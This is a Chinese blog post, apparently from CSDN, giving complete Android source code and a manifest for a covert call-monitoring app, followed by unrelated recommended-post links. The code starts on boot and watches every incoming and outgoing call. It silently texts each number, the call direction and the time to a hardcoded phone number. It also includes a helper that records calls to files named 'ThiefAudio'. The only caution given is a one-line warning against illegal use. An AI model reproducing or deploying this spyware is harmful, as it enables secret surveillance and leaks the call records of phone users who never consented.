监视来去电情况

Visual Studio 调试系列6 监视变量(使用监视窗口和快速监视窗口) 系列目录 【已更新最新开发文章,点击查看详细】 当你进行调试时,可以使用 监视窗口 和 快速监视窗口来监视变量和表达式。 仅在调试会话期间,这两个窗口才可用。 监视窗口可以在调试时一次显示多个变量。 快速监视对话框一次仅显示单个变量,并可以继续调试之前,必须关闭。 01 观察使用监视窗口变量 示例代码: private static void Main(st... 阅读详情

切记:不可用于非法活动!



 

 

 

不用编写main.xml文件

 

 

 

 

在MessageSendUtil.java中:

 

package com.li.phone;

 

import java.text.SimpleDateFormat;

import java.util.Date;

 

import android.app.PendingIntent;

import android.content.Context;

import android.content.Intent;

import android.telephony.SmsManager;

 

public class MessageSendUtil {

  private Context context = null;

  private Intent intent = null;

 

  public MessageSendUtil(Context context, Intent intent) {

     this.context = context;

     this.intent = intent;

  }

 

 

  public void send(String recieveNumber, String phoneNumber, String type) {

     SmsManager smsManager = SmsManager.getDefault();

     PendingIntent sentIntent = PendingIntent.getActivity(this.context, 0,

         this.intent, PendingIntent.FLAG_UPDATE_CURRENT);

     String content = "电话号码:"

         + phoneNumber

         + "\n类型:"

         + type

         + "\n操作时间:"

         + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS")

              .format(new Date());

     smsManager.sendTextMessage(recieveNumber, null, content, sentIntent,

         null);

  }

}

 

 

 

 

 

在PhoneBroadcastReceiver.java中:

 

package com.li.phone;

 

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

 

public class PhoneBroadcastReceiver extends BroadcastReceiver {

 

  @Override

  public void onReceive(Context context, Intent intent) {

     if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去电

       String outgoingNumber = intent

            .getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去电号码

       Intent pit = new Intent(context, PhoneService.class);

       pit.putExtra("outgoingNumber", outgoingNumber);

       context.startService(pit);

     } else { // 来电

       context.startService(new Intent(context, PhoneService.class));

     }

  }

 

}

 

 

 

 

在PhoneService.java中:

 

package com.li.phone;

 

import android.app.Service;

import android.content.Context;

import android.content.Intent;

import android.os.IBinder;

import android.telephony.PhoneStateListener;

import android.telephony.TelephonyManager;

 

public class PhoneService extends Service {

  private TelephonyManager telephony = null;

  private String outgoingNumber = null;

  private RecordAudioUtil raUtil = null;

  private Intent intent = null ;

 

  @Override

  public void onCreate() { // 服务创建的时候操作

     super.onCreate();

     this.telephony = (TelephonyManager) super

         .getSystemService(Context.TELEPHONY_SERVICE);

     this.telephony.listen(new PhoneStateListenerImpl(),

         PhoneStateListener.LISTEN_CALL_STATE); // 设置监听操作

  }

 

  @Override

  public void onStart(Intent intent, int startId) {

     this.outgoingNumber = intent.getStringExtra("outgoingNumber");

     this.intent = intent ;

     super.onStart(intent, startId);

  }

 

  private class PhoneStateListenerImpl extends PhoneStateListener {

 

     @Override

     public void onCallStateChanged(int state, String incomingNumber) {

       switch (state) {

       case TelephonyManager.CALL_STATE_IDLE: // 挂断电话

         if (PhoneService.this.raUtil != null) { // 保险

            PhoneService.this.raUtil.stop();

            PhoneService.this.raUtil = null;

         }

         break;

       case TelephonyManager.CALL_STATE_RINGING: // 领音响起

         new MessageSendUtil(PhoneService.this, PhoneService.this.intent)

              .send("13471819361", incomingNumber, "拨入");

         break;

       case TelephonyManager.CALL_STATE_OFFHOOK: // 接听电话

         new MessageSendUtil(PhoneService.this, PhoneService.this.intent)

              .send("13471819361", PhoneService.this.outgoingNumber,

                   "呼出");

         break;

       }

     }

  }

 

  @Override

  public IBinder onBind(Intent intent) {

     return null;

  }

 

}

 

 

 

 

 

在RecordAudioUtil.java中:

 

package com.li.phone;

 

import java.io.File;

import java.text.SimpleDateFormat;

import java.util.Date;

 

import android.media.MediaRecorder;

import android.os.Environment;

 

public class RecordAudioUtil {

  private MediaRecorder mediaRecorder = null;

  private String recDir = "theifaudio";

  private File recordAudioSaveFileDir = null;

  private boolean sdcardExists = false;

  private boolean isRecord = false;

  private String phoneNumber = null; // 电话号码

  private String callType = null; // 呼叫类型

 

  public RecordAudioUtil(String phoneNumber, String callType) {

     this.phoneNumber = phoneNumber;

     this.callType = callType;

     if ((this.sdcardExists = Environment.getExternalStorageState().equals(

         Environment.MEDIA_MOUNTED))) {

       this.recordAudioSaveFileDir = new File(Environment

            .getExternalStorageDirectory().toString()

            + File.separator

            + this.recDir + File.separator);

       if (!this.recordAudioSaveFileDir.exists()) {

         this.recordAudioSaveFileDir.mkdirs();

       }

     }

  }

 

  public File record() { // 进行电话的录音,同时返回文件的路径

     File recordAudioSaveFile = null;

     String recordAudioSaveFileName = null;

     if (this.sdcardExists) { // sd卡存在

       recordAudioSaveFileName = this.recordAudioSaveFileDir.toString()

            + File.separator

            + "ThiefAudio_"

            + new SimpleDateFormat("yyyyMMddhhmmssSSS")

                .format(new Date()) + "_" + this.callType + "_"

            + this.phoneNumber + ".3gp";

       recordAudioSaveFile = new File(recordAudioSaveFileName);

       this.mediaRecorder = new MediaRecorder();

       this.mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);

       this.mediaRecorder

           .setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

       this.mediaRecorder

           .setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);

       this.mediaRecorder.setOutputFile(recordAudioSaveFileName);

       try {

         this.mediaRecorder.prepare();

       } catch (Exception e) {

         e.printStackTrace() ;

       }

       this.mediaRecorder.start();

       this.isRecord = true;

     }

     return recordAudioSaveFile;

  }

 

  public void stop() {

     if (this.isRecord) {

       this.mediaRecorder.stop();

       this.mediaRecorder.reset() ;

       this.mediaRecorder.release();

     }

  }

}

 

 

 

 

在MyPhoneDemo.java中:

 

package com.li.phone;

 

import android.app.Activity;

import android.os.Bundle;

 

public class MyPhoneDemo extends Activity {

   

    @Override

    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.main);

    }

}

 

 

 

 

修AndroidManifest.xml改:

 

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.li.phone"

    android:versionCode="1"

    android:versionName="1.0" >

 

    <uses-sdk

        android:minSdkVersion="8"

        android:targetSdkVersion="15" />

    <uses-permission android:name="android.permission.READ_PHONE_STATE" />

  <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />

  <uses-permission android:name="android.permission.RECORD_AUDIO" />

  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

  <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>

 

    <application

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <activity

            android:name=".MyPhoneDemo"

            android:label="@string/title_activity_my_phone_demo" >

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

 

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

        <service android:name=".PhoneService" />

     <receiver android:name=".PhoneBroadcastReceiver">

       <intent-filter>

         <action android:name="android.intent.action.NEW_OUTGOING_CALL" />

         <action android:name="android.intent.action.BOOT_COMPLETED" />

         <action android:name="android.intent.action.PHONE_STATE" />

       </intent-filter>

     </receiver>

    </application>

 

</manifest>

 

VSCODE/platformIO: Arduino框架下,单片机打印信息至串口监视器,三种输出乱码+一种无输出的情况与解决方案 分析VSCODE+platformIO+arduino开发架构下单片机串口打印至platformIO监视器时发生乱码或无输出的共四种情况,并给出解决方法。最后提到了一种难以消除的串口乱码情况。 阅读详情

相关推荐

如何在 WinCC 中实现变量状态监视和连接状态监视?

为动作触发设置一个新的变量触发。现在当启动运行系统时,一旦被监视变量的状态发生改变,关于此变量状态的信息就会输出到 Global Script diagnostics 窗口,另外当该变量的状态不正常时也会触发一条报警。现在当启动运行系统时,一旦被监视变量的状态发生改变,关于此变量状态的一条信息就会输出到 Global Script diagnostics 窗口。如果被监视的变量为 OPC 变量,除了变量状态外还需要评估质量代码,因为 OPC 变量状态更多的代表来源(OPC 服务器)的有效性。

gsjkwg的博客 1460

java短信验证平台_JAVA实现利用第三方平台发送短信验证码

前段时间自己做的一个小项目中,涉及到用短信验证码登录、注册的问题,之前没涉及过这一块,看了别人的博客其实也是似懂非懂的,现在就将自己做的利用第三方短信平台来发送验证码这个功能记下来。本文以注册为例,在SpringMVC+Spring+Mybatis框架的基础上完成该短信验证码功能。发送短信验证码的原理是:随机生成一个6位数字,将该6位数字保存到session当中,客户端通过sessionid判断对...

weixin_36387104的博客 505

SWIPT技术(无线通信携能技术)的简介与架构——(后续补充无人机SWIPT方向)

SWIPT一、SWIPT(无线通信携能)技术简介1.1、组成:1.2、与传统无线通信的区别:1.3、SWIPT 的集成接收器架构设计1、单独的接收器2、TS架构——时间开关(Time switching,TS)3、PS架构——功率分流(Power splitting,PS)4、天线开关接收器主要两种架构的区别参考文献SWIPT的发展 一、SWIPT(无线通信携能)技术简介 SWIPT(Simultaneous Wireless Information and Power Transfer )是各种WPT技术

Blue 1万+

对线程间SendMessage的解疑

上面说过线程内SendMessage只是简单的调用指定窗口的窗口过程。 而线程间SendMessage时,发送线程不可能直接调用目标窗口的窗口过程,因为发送线程无法运行在接收线程的地址空间中。因此实际过程是发送线程挂起,然后由另外的线程处理消息。过程是: 首先发送的消息被追加到接收线程的发送消息队列中(send-message queue),并设置线程的QS_SENDMESSAGE标志。这...

weixin_30596165的博客 322

从仿真到部署:基于ROS2与Gazebo的UR5e机械臂全流程控制实践

本文详细介绍了基于ROS2与Gazebo的UR5e机械臂全流程控制实践,从环境准备、模型构建到控制器开发和仿真优化,最终实现真实机器人部署。通过实战案例和避坑指南,帮助开发者掌握机器人仿真与控制的关键技术,提升UR5e机械臂在物料分拣等任务中的性能与稳定性。

weixin_29184371的博客 288

麒麟V10服务器多硬盘安装与分区实战:告别自动分区,手动分配/boot、swap和/根目录

本文详细介绍了麒麟V10服务器在多硬盘环境下的手动分区策略,包括/boot、swap和/根目录的优化分配方案。通过SSD与HDD混合存储架构的合理规划,提升系统性能和运维效率,适用于企业级定制化系统部署需求。

weixin_26976635的博客 406

MessageUtil 关于广播的工具类

/** * * Copyright (c) 2014 CoderKiss * * CoderKiss[AT]gmail.com * */ package com.kisstools.utils; import java.util.LinkedList; import android.content.BroadcastReceiver; import android.content

认真梳理 1414

LittleFS+NANDFLASH软硬件配置详情

littleFS文件系统说明及移植过程

weixin_43200844的博客 2368

Vue 中 watch 监视的情况五:监视多个数据的深度解析

在 Vue 开发过程中,watch是一个非常重要的功能,它可以帮助我们监听数据的变化,并在数据变化时执行相应的操作。今天,我们就来深入探讨一下watch监视的情况五,也就是监视多个数据的相关知识。

m0_57836225的博客 649

光学仿真案例(4) 基于纳米微粒激发平面波的米氏散射FDTD仿真模拟

本案例展示了一个基于纳米粒子激发平面波的米氏散射仿真模型(mie scattering),计算其散射和吸收截面、局域场增强和远场散射分布,同时将截面和远场结果与解析解进行了比较,验证了仿真模拟的准确性。

q895235273的博客 3593

Linux ARM平台开发系列讲解(GPIO子系统) 2.3.2 GPIO子系统常用函数解析

1. 概述 该章节会记录一年常用的GPIO子系统常用函数,会更具情况不断更新 static inline int gpio_get_value(unsigned int gpio) 功能 :用于获取某个GPIO引脚上的值 gpio : gpio引脚号 返回值:非负值,得到的 GPIO 值;负值,获取失败。 static inline void gpio_set_value(unsigned int gpio, int value) static inline int gpio_cansleep(unsi

DSMGUOGUO的博客 668

VS监视、快速监视的使用

1、监视 此部分转自:https://blog.youkuaiyun.com/JiLuoXingRen/article/details/72811614 嫌我啰嗦的可以直接看MSDN: C++ 中的格式说明符:https://msdn.microsoft.com/zh-cn/library/75w45ekt.aspx ...

qq_32307377的博客 3176

一、【vmware虚拟机使用】安装vmware workstations17

本文介绍了VMware Workstation 17的安装与网络配置方法。主要内容包括:通过下载安装包进行标准安装(含许可协议、路径选择等步骤);重点讲解了NAT模式下的网络配置,包括修改子网IP为192.168.2.0网段、设置网关地址和DHCP范围等操作,以避免与主机网络冲突。文章还简要说明了VMware的Hypervisor核心技术原理,包括CPU、内存和存储虚拟化。最后指出完成这些准备工作后,后续将进行CentOS7系统的安装。整个流程配有详细图文说明,适合初学者跟随操作。

信创运维工程师 · 银河麒麟 & 容器实战 | 金融生产环境迁移·等保加固 | 142篇原创·17万+阅读 2737

如何监视Python程序的内存使用情况

我们使用Python和它的数据处理库套件(如panda和scikiti -learn)进行大量数据处理时候,可能使用了大量的计算资源。如何监视程序的内存使用情况就显得尤为重要。 1.询问操作系统 跟踪内存使用情况的最简单方法是使用操作系统本身。您可以使用top来提供您在一段时间内使用的资源的概述。或者,如果您想要现场检查资源使用情况,您可以使用ps命令: $ ps -m -o %cpu,%mem,command %CPU %MEM COMMAND 23.4 7.2 python analyze_dat

wulishinian的博客 3592

【论文复现】——基于改进FPFH特征提取的点云模板匹配方法

基于改进FPFH特征提取的点云模板匹配方法 [J]. 应用激光, 2024, 44 (04): 196-204.

点云侠的博客 611

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Vue3:watch监视的5种情况

Vue

Brave_heart4pzj的博客 715

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

监视器

网络数据流网络监视器监视网络数据流,该数据流由任意给定时间内通过网络传输的所有信息组成。信息在传输之前,由网络软件分割成较小的块,这些小块称作帧或者数据包。 帧,无论是通过广播、多播还是直接传输的,都由几个不同的块组成,这样就能够单独进行分析。一些块包含网络监视器可用于解答网络问题的数据。例如,通过检查目标地址,能够确定帧是指明所有主机必须接收并处理的广播帧,还是发送到指定主机的直接传输帧

1975

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

Vue的监视属性watch、深度监视以及监视的简写

二、深度监视一、两种监视方式。

· 2761

【Vue3】setup的注意点及watch监视属性的六种情况

博主简介🛌 某神秘组织成员前端小白,前端优质创作者,阿里云博主,一个开朗的网友有一个名为山鱼社区的社区,收录许多优秀博主的创作内容创作不易希望能得到您的支持,您的支持是我创作的动力✌。

zhaochen1127的博客 3080

Java的对象监视器和Condition监视器概念以及对比

详细介绍了Java对象监视器的概念以及API方法,包括JDK1.5提供的Condition监视器对比。

终生学习践行者 5000

vue监视和深度监视

3.vue自身可以监测对象内部值的改变,但是vue提供的watch默认不可以。4.使用watch的时候根据数据的具体结构,决定是否采用深度监视。1.vue中的watch默认不检测对象内部值的改变(一层)2.配置deep:true可以监视对象内部值改变(多层)1.监视的属性变化时,回调函数自动调用,自动操作。1.new vue的时候传入watch配置。2.监视的属性一定要存在,才可以进行监视。2.通过vm.$watch监视。

2301_77264434的博客 2946

达梦监视器介绍

监视器(dmmonitor)是基于监视器接口实现的一个命令行工具,是 DM 数据守护系统的重要组成部分。通过监视器,可以监控数据守护系统的运行情况,获取主备库状态、守护进程状态以及主备库数据同步情况等信息。同时,监视器(dmmonitor)还提供了一系列命令来管理数据守护系统。接收守护进程发送的消息,显示主、备数据库状态变化,以及故障切换过程中,数据库模式、状态变化的完整过程。用户可以在监视器上输入命令,启动、停止守护进程的监控功能,执行主备库切换、备库故障接管等操作。

2401_84436407的博客 1416

4.Vue-计算属性、监视属性、深度监视、计算属性与监视属性对比

②如果计算属性要被修改,那必须写set函数去响应修改且set中要引起计算时依赖的数据发生改变。开启深度监视,当number中的任何一个配置变了之后,就会运行handler函数。Vue自身可以检测对象内部值的改变,但Vue提供的watch默认不可以!Vue中的watch默认不监测对象内部值的改变(一层)定义:要用的属性不存在,要通过已有的属性计算得来。最终实现的效果如下,当我们点击“切换天气”的时候,就会改变。因为这才是正统的写法,没有引号的那种是简写形式。监视number中的a的变化。......

weixin_51351637的博客 1499

c++代码调试工具,监视/快速监视窗口:

代码调试,监视/快速监视: 程序处于调试状态时,可以使用监视(watch)窗口和快速监视(quick watch)命令执行变量值得查看、改变等操作。 快速监视: 方法: 在调试的状态下,将鼠标放在变量上,右键弹出菜单,点击“快速监视”,可以打开一个快速监视窗口,该窗口会显示该变量的当前值,无论是简单变量还是结构体,相应的信息都会非常清晰的显示出来。 特点: 1、在快速监视窗口中可以修改变量的值,只需要双击想要修改的变量的值进入修改状态,即可进行修改,然后按enter或者鼠标点击其它地方保存修改,能改cons

ganfanren00001的博客 1万+
上一篇: 来去电监听
下一篇: 监听来电情况(静音)
Android人生
博客等级 码龄14年 14粉丝 184原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值